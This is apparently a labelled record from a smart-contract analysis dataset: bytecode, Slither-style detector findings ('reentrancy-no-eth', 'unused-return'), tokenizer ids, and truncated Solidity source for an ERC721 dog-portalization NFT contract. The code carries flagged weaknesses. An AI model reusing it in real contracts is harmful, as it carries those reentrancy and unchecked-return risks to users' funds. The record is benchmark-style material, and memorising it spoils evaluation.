ffffffffffffffffffff16636352211e836040518263ffffffff1660e01b8152600401612a579190614b0a565b60206040518083038186803b158015612a6f57600080fd5b505afa158015612a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aa79190613856565b73ffffffffffffffffffffffffffffffffffffffff1614612afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af490614a2a565b60405180910390fd5b600f600082815260200190815260200160002060020160009054906101000a900460ff1615612b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b589061494a565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e3330846040518463ffffffff1660e01b8152600401612bc09392919061468d565b600060405180830381600087803b158015612bda57600080fd5b505af1158015612bee573d6000803e3d6000fd5b5050505060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff16815260200142815260200160011515815250600f600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550905050612cb73382612849565b50565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fd86df6b826040518263ffffffff1660e01b8152600401612d159190614710565b60206040518083038186803b158015612d2d57600080fd5b505afa158015612d41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d659190613b3b565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000612dcc8473ffffffffffffffffffffffffffffffffffffffff1661331a565b15612f35578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612df5612072565b8786866040518563ffffffff1660e01b8152600401612e1794939291906146c4565b602060405180830381600087803b158015612e3157600080fd5b505af1925050508015612e6257506040513d601f19601f82011682018060405250810190612e5f9190613aa8565b60015b612ee5573d8060008114612e92576040519150601f19603f3d011682016040523d82523d6000602084013e612e97565b606091505b50600081511415612edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed4906147aa565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612f3a565b600190505b949350505050565b612f4c838361332d565b612f596000848484612dab565b612f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8f906147aa565b60405180910390fd5b505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612ff88461169e565b6130029190614d11565b90506000600760008481526020019081526020016000205490508181146130e7576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061316c9190614d11565b90506000600960008481526020019081526020016000205490506000600883815481106131c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050806008838154811061320a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061327f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006132a68361169e565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561339d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133949061496a565b60405180910390fd5b6133a681612006565b156133e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133dd9061480a565b60405180910390fd5b6133f2600083836128d1565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134429190614c8a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b82805461350790614dfb565b90600052602060002090601f0160209004810192826135295760008555613570565b82601f1061354257805160ff1916838001178555613570565b82800160010185558215613570579182015b8281111561356f578251825591602001919060010190613554565b5b50905061357d9190613581565b5090565b5b8082111561359a576000816000905550600101613582565b5090565b60006135b16135ac84614b56565b614b25565b905080838252602082019050828560208602820111156135d057600080fd5b60005b8581101561360057816135e688826136f2565b8452602084019350602083019250506001810190506135d3565b5050509392505050565b600061361d61361884614b82565b614b25565b9050808382526020820190508285602086028201111561363c57600080fd5b60005b8581101561366c57816136528882613803565b84526020840193506020830192505060018101905061363f565b5050509392505050565b600061368961368484614bae565b614b25565b9050828152602081018484840111156136a157600080fd5b6136ac848285614db9565b509392505050565b60006136c76136c284614bde565b614b25565b9050828152602081018484840111156136df57600080fd5b6136ea848285614db9565b509392505050565b60008135905061370181614f74565b92915050565b60008151905061371681614f74565b92915050565b600082601f83011261372d57600080fd5b813561373d84826020860161359e565b91505092915050565b600082601f83011261375757600080fd5b813561376784826020860161360a565b91505092915050565b60008135905061377f81614f8b565b92915050565b60008135905061379481614fa2565b92915050565b6000815190506137a981614fa2565b92915050565b600082601f8301126137c057600080fd5b81356137d0848260208601613676565b91505092915050565b600082601f8301126137ea57600080fd5b81356137fa8482602086016136b4565b91505092915050565b60008135905061381281614fb9565b92915050565b60008151905061382781614fb9565b92915050565b60006020828403121561383f57600080fd5b600061384d848285016136f2565b91505092915050565b60006020828403121561386857600080fd5b600061387684828501613707565b91505092915050565b6000806040838503121561389257600080fd5b60006138a0858286016136f2565b92505060206138b1858286016136f2565b9150509250929050565b6000806000606084860312156138d057600080fd5b60006138de868287016136f2565b93505060206138ef868287016136f2565b925050604061390086828701613803565b9150509250925092565b6000806000806080858703121561392057600080fd5b600061392e878288016136f2565b945050602061393f878288016136f2565b935050604061395087828801613803565b925050606085013567ffffffffffffffff81111561396d57600080fd5b613979878288016137af565b91505092959194509250565b6000806040838503121561399857600080fd5b60006139a6858286016136f2565b92505060206139b785828601613770565b9150509250929050565b600080604083850312156139d457600080fd5b60006139e2858286016136f2565b92505060206139f385828601613803565b9150509250929050565b600060208284031215613a0f57600080fd5b600082013567ffffffffffffffff811115613a2957600080fd5b613a358482850161371c565b91505092915050565b600060208284031215613a5057600080fd5b600082013567ffffffffffffffff811115613a6a57600080fd5b613a7684828501613746565b91505092915050565b600060208284031215613a9157600080fd5b6000613a9f84828501613785565b91505092915050565b600060208284031215613aba57600080fd5b6000613ac88482850161379a565b91505092915050565b600060208284031215613ae357600080fd5b600082013567ffffffffffffffff811115613afd57600080fd5b613b09848285016137d9565b91505092915050565b600060208284031215613b2457600080fd5b6000613b3284828501613803565b91505092915050565b600060208284031215613b4d57600080fd5b6000613b5b84828501613818565b91505092915050565b6000613b708383614630565b60208301905092915050565b613b8581614d45565b82525050565b6000613b9682614c1e565b613ba08185614c4c565b9350613bab83614c0e565b8060005b83811015613bdc578151613bc38882613b64565b9750613bce83614c3f565b925050600181019050613baf565b5085935050505092915050565b613bf281614d57565b82525050565b613c0181614d63565b82525050565b6000613c1282614c29565b613c1c8185614c5d565b9350613c2c818560208601614dc8565b613c3581614f63565b840191505092915050565b6000613c4b82614c34565b613c558185614c6e565b9350613c65818560208601614dc8565b613c6e81614f63565b840191505092915050565b6000613c8482614c34565b613c8e8185614c7f565b9350613c9e818560208601614dc8565b80840191505092915050565b6000613cb7602b83614c6e565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000613d1d603283614c6e565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000613d83601183614c6e565b91507f5072652d726567676572732066697273740000000000000000000000000000006000830152602082019050919050565b6000613dc3602683614c6e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613e29601c83614c6e565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000613e69603783614c6e565b91507f596f7520617265206e6f742077686974656c69737465642e205761697420666f60008301527f72207075626c696320706f7274616c697a6174696f6e2e0000000000000000006020830152604082019050919050565b6000613ecf602083614c6e565b91507f596f7527766520616c726561647920706f7274616c697a656420646f67676f736000830152602082019050919050565b6000613f0f602483614c6e565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613f75601983614c6e565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000613fb5602c83614c6e565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061401b600e83614c6e565b91507f506f7274616c2069732066756c6c0000000000000000000000000000000000006000830152602082019050919050565b600061405b603883614c6e565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b60006140c1602a83614c6e565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000614127602983614c6e565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061418d601f83614c6e565b91507f446f672068617320616c7265616479206265656e20706f7274616c697a6564006000830152602082019050919050565b60006141cd602083614c6e565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b600061420d602283614c6e565b91507f596f752063616e277420706f7274616c697a652074686174206d616e7920646f60008301527f67730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614273602c83614c6e565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006142d9602083614c6e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614319602983614c6e565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061437f602f83614c6e565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006143e5602383614c6e565b91507f596f7520617265206e6f7420746865206f776e6572206f66207468617420646f60008301527f67676f00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061444b602183614c6e565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006144b1603183614c6e565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000614517602c83614c6e565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b600061457d601f83614c6e565b91507f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006000830152602082019050919050565b60006145bd601683614c6e565b91507f506f7274616c206973206e6f74206f70656e20796574000000000000000000006000830152602082019050919050565b60006145fd601b83614c6e565b91507f446f6720686173206e6f74206265656e20706f7274616c697a656400000000006000830152602082019050919050565b61463981614daf565b82525050565b61464881614daf565b82525050565b600061465a8285613c79565b91506146668284613c79565b91508190509392505050565b60006020820190506146876000830184613b7c565b92915050565b60006060820190506146a26000830186613b7c565b6146af6020830185613b7c565b6146bc604083018461463f565b949350505050565b60006080820190506146d96000830187613b7c565b6146e66020830186613b7c565b6146f3604083018561463f565b81810360608301526147058184613c07565b905095945050505050565b6000602082019050818103600083015261472a8184613b8b565b905092915050565b60006020820190506147476000830184613be9565b92915050565b60006020820190506147626000830184613bf8565b92915050565b600060208201905081810360008301526147828184613c40565b905092915050565b600060208201905081810360008301526147a381613caa565b9050919050565b600060208201905081810360008301526147c381613d10565b9050919050565b600060208201905081810360008301526147e381613d76565b9050919050565b6000602082019050818103600083015261480381613db6565b9050919050565b6000602082019050818103600083015261482381613e1c565b9050919050565b6000602082019050818103600083015261484381613e5c565b9050919050565b6000602082019050818103600083015261486381613ec2565b9050919050565b6000602082019050818103600083015261488381613f02565b9050919050565b600060208201905081810360008301526148a381613f68565b9050919050565b600060208201905081810360008301526148c381613fa8565b9050919050565b600060208201905081810360008301526148e38161400e565b9050919050565b600060208201905081810360008301526149038161404e565b9050919050565b60006020820190508181036000830152614923816140b4565b9050919050565b600060208201905081810360008301526149438161411a565b9050919050565b6000602082019050818103600083015261496381614180565b9050919050565b60006020820190508181036000830152614983816141c0565b9050919050565b600060208201905081810360008301526149a381614200565b9050919050565b600060208201905081810360008301526149c381614266565b9050919050565b600060208201905081810360008301526149e3816142cc565b9050919050565b60006020820190508181036000830152614a038161430c565b9050919050565b60006020820190508181036000830152614a2381614372565b9050919050565b60006020820190508181036000830152614a43816143d8565b9050919050565b60006020820190508181036000830152614a638161443e565b9050919050565b60006020820190508181036000830152614a83816144a4565b9050919050565b60006020820190508181036000830152614aa38161450a565b9050919050565b60006020820190508181036000830152614ac381614570565b9050919050565b60006020820190508181036000830152614ae3816145b0565b9050919050565b60006020820190508181036000830152614b03816145f0565b9050919050565b6000602082019050614b1f600083018461463f565b92915050565b6000604051905081810181811067ffffffffffffffff82111715614b4c57614b4b614f34565b5b8060405250919050565b600067ffffffffffffffff821115614b7157614b70614f34565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614b9d57614b9c614f34565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614bc957614bc8614f34565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614bf957614bf8614f34565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614c9582614daf565b9150614ca083614daf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614cd557614cd4614ea7565b5b828201905092915050565b6000614ceb82614daf565b9150614cf683614daf565b925082614d0657614d05614ed6565b5b828204905092915050565b6000614d1c82614daf565b9150614d2783614daf565b925082821015614d3a57614d39614ea7565b5b828203905092915050565b6000614d5082614d8f565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614de6578082015181840152602081019050614dcb565b83811115614df5576000848401525b50505050565b60006002820490506001821680614e1357607f821691505b60208210811415614e2757614e26614f05565b5b50919050565b6000614e3882614daf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614e6b57614e6a614ea7565b5b600182019050919050565b6000614e8182614daf565b9150614e8c83614daf565b925082614e9c57614e9b614ed6565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b614f7d81614d45565b8114614f8857600080fd5b50565b614f9481614d57565b8114614f9f57600080fd5b50565b614fab81614d63565b8114614fb657600080fd5b50565b614fc281614daf565b8114614fcd57600080fd5b5056fea26469706673582212203fdb90eb0109372c38d0442baa99c527dde332539f1a890944c75872bf6244de64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2063, 2683, 24087, 2094, 2575, 2581, 2575, 2620, 2546, 20958, 26187, 2094, 2575, 2546, 2575, 2683, 2050, 2509, 2497, 2683, 2620, 18939, 27421, 2575, 2475, 3540, 22407, 2683, 2581, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 23333, 17299, 8649, 4783, 6776, 20464, 12083, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3475, 8528, 18715, 2368, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,317
0x968f068d24a60998c99c07bf7fcbafc55b688491
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.7; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ) ++count; } return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to 